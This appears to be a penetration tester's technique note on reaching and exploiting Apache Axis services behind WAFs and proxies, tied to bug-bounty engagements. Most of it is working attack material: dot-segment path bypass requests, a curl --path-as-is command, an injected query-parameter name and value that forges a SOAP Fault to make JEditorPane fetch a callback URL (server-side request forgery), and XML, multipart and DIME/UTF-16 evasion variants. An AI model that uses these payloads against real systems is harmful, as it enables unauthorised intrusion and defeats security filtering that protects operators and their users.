# Axis delivery and filtering notes

Imported on 2026-11-06 from stored material on `root@100.21.57.173`. These are historical request-construction techniques. A changed HTTP response is not constructor or RCE proof. Recheck current engagement scope, zero-day policy, gateway requirements and identification before any future use; use that engagement's managed callbacks and matched controls.

## Dot segments and servlet routing



When a front proxy, WAF, or administrative rule blocks the canonical Axis path, test the semantically equivalent path with a current-directory dot segment. Some gateways apply the deny rule to the raw path, while the upstream servlet container normalises `/./` before routing and still reaches Axis. This is a deployment reachability bypass, not part of the Axis deserialisation root cause.

Let `{axis_context}` be the Axis path without its leading slash, such as `api/Version`. First retain the canonical request as the control:

```http
GET /{axis_context}?wsdl HTTP/1.1
Host: {host}
Accept: application/xml
Connection: close

```

A filtered deployment may return an administrative denial:

```http
HTTP/1.1 403 Forbidden
Content-Type: text/html

Request forbidden by administrative rules.
```

Retry with `/./` inserted before the protected path segment:

```http
GET /./{axis_context}?wsdl HTTP/1.1
Host: {host}
Accept: application/xml
Connection: close

```

For a nested route, preserve the prefix and insert the segment immediately before the filtered context, for example `/prefix/api/Version` becomes `/prefix/./api/Version`. The successful response should contain a real Axis signal rather than only a different status:

```http
HTTP/1.1 200 OK
Content-Type: text/xml

<!--WSDL created by Apache Axis version: ... -->
...
<wsdlsoap:address location="..."/>
```

The client must transmit the path verbatim. With curl, use `--path-as-is`:

```sh
curl --path-as-is -i '{origin}/./{axis_context}?wsdl'
```

Browsers and many HTTP libraries collapse dot segments before transmission, which hides the bypass. After confirming the control/bypass differential, use the same dot-segment path for the SOAP POST or GET-only `qs.method` trigger described in this entry, for example:

```http
GET /./{axis_context}?method=SOAP-ENV%3AFault&faultcode=SOAP-ENV%3AServer&faultstring={marker}&detail={url_encoded_detail} HTTP/1.1
Host: {host}
Accept: */*
Connection: close

```

A 200 or 500 response through `/./` establishes only that the proxy restriction was bypassed and Axis handled the request. Confirm the constructor flaw separately with an otherwise identical `java.lang.String` control and target-derived command output or a unique command-only callback.

## Query-parameter-name injection


Use through `script:axis/get-query-bulk-probe.py --detail-mode paramname` or `script:axis/card-preview-ssrf-bulk-probe.py --detail-mode paramname`. Prerequisites are a concrete Axis 1 servlet/service URL and the normal engagement identification/OOB setup.

`QSMethodHandler` writes each decoded query parameter as `<name>value</name>`. The helper uses this parameter name:

```text
x/><detail xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><data a:type="b:string"><![CDATA[]]
```

and a value shaped as:

```text
CALLBACK</data><exceptionName>javax.swing.JEditorPane</exceptionName></detail><![CDATA[
```

The opening reflection self-closes `<x/>`, creates a direct SOAP Fault `<detail>`, and opens an empty CDATA section. The value closes the exploit detail and starts another CDATA section that hides the malformed reflected closing tag. Keep `method=SOAP-ENV:Fault` first.

An end-to-end Axis 1.4 servlet lab returned `Server.NoService` while `JEditorPane(String)` fetched `/paramname-end2end`. On live non-Axis controls this moved namespace-bearing XML out of the parameter value and changed value-focused 403s to ordinary application 404s. A bypass is not a finding without constructor impact on the target.


## XML text and transport variants

Stored helpers contain these variants of the same Fault, rather than separate vulnerabilities:

- Split character data in the class name with an XML comment, for example `javax.swing.<!--x-->JEditorPane`; XML parsers concatenate the text. Numeric character references encode URL/class text without changing its decoded value.
- In GET requests, `detail-mode=prefix` relies on the query handler's envelope-level `xsi` and `xsd` namespace declarations instead of repeating namespace URIs in the parameter value. The full and parameter-name forms are alternatives when that parser context exists.
- Wrap SOAP XML as the root part of `multipart/related`, or as a single DIME v1 media-type record with outer `Content-Type: application/dime` and record type `text/xml`. A DIME record aligns each variable-length field to four bytes; its data length excludes alignment padding. The retained source used first+last record flags `0x0e`, media-type format byte `0x10`, zero option/id lengths, big-endian type/data lengths, and UTF-16LE XML with a BOM and matching XML declaration.
- XML-comment padding and multipart ordering can move meaningful XML beyond a front-end inspection window. The ICE finding specifically records a valid pre-root Spring XML padding attachment larger than 128 KiB, followed by a second Spring XML payload attachment and then the SOAP root. This is observed deployment behaviour, not a universal size or bypass.

Evidence levels: the parameter-name note records an Axis 1.4 lab callback and status changes on non-Axis live controls; it explicitly does not claim live target constructor impact from those status changes. The DIME/UTF-16 helper comments record local Axis validation and Akamai inspection differences, but those comments alone do not establish a new target finding. The TikTok finding independently proves constructor/Swing SSRF, not RCE. A missing callback after one transport variant is inconclusive.

Reviewed source scripts:

- `p_hackerone_x_9ad8afe4` / `script:axis/get-query-bulk-probe.py`; updated `2026-11-04 09:04:57.779` UTC; SHA-256 `b1b53237de8648b41bbf51506db0f5321f6ec951dcc407192d44aebc3497d1c3`.
- `p_hackerone_x_9ad8afe4` / `script:axis/qs-paramname-waf-bypass.md`; updated `2026-11-04 09:14:58.713` UTC; SHA-256 `a0282693622adda7699526ed9a3ed898ccccf2f536c4d3a5d0e6328512ee3fe2`.
- `p_hackerone_tiktok_78a1b94a` / `script:axis/comment-waf-sheriff-probe.py`; updated `2026-11-03 20:36:25.628` UTC; SHA-256 `e31f6ee6265d4734de071f567107709111d35944f7f6aaf0d8a21c7ad3b64719`.
- `p_hackerone_tiktok_78a1b94a` / `script:axis/dime-utf16-waf-sheriff-probe.py`; updated `2026-11-03 21:48:03.246` UTC; SHA-256 `5b6690d9a2fe24204740de982a3c7c424148484183d7bca2fa15e6dd55a25943`.
- `p_hackerone_tiktok_78a1b94a` / `script:axis/qsmethod-get-probe.py`; updated `2026-11-04 09:22:19.741` UTC; SHA-256 `ff4ab245417056bb855d7dbc1035300bad4fcb57cff4d78170cc17b3f2a7d77e`.
- `p_hackerone_mercury_9fe1ee53` / `script:axis/direct_get_or_post_probe.py`; updated `2026-11-04 18:16:40.508` UTC; SHA-256 `f416223bc4ba5ec434481317ff99cb1b747f4b199187e8da26a2fddb17a9273a`.
- `p_intigriti_sbbglobal_2b9d7a54` / `script:axis/inxmail-axis-path-bypass-rce.py`; updated `2026-11-04 02:30:27.074` UTC; SHA-256 `3d0de4132c87345ebee7e7f8dd27011cfdd9ffa77bb7710ef2958c12630dcaa8`.
- `p_intigriti_adobepublic_2c939640` / `script:axis/coldfusion2025-lockdown-rce.py`; updated `2026-11-05 06:43:33.054` UTC; SHA-256 `94a41ab7498a336520c666a6e4762c53c90519a4e96d86d8a6a2533d1c4d24f2`.
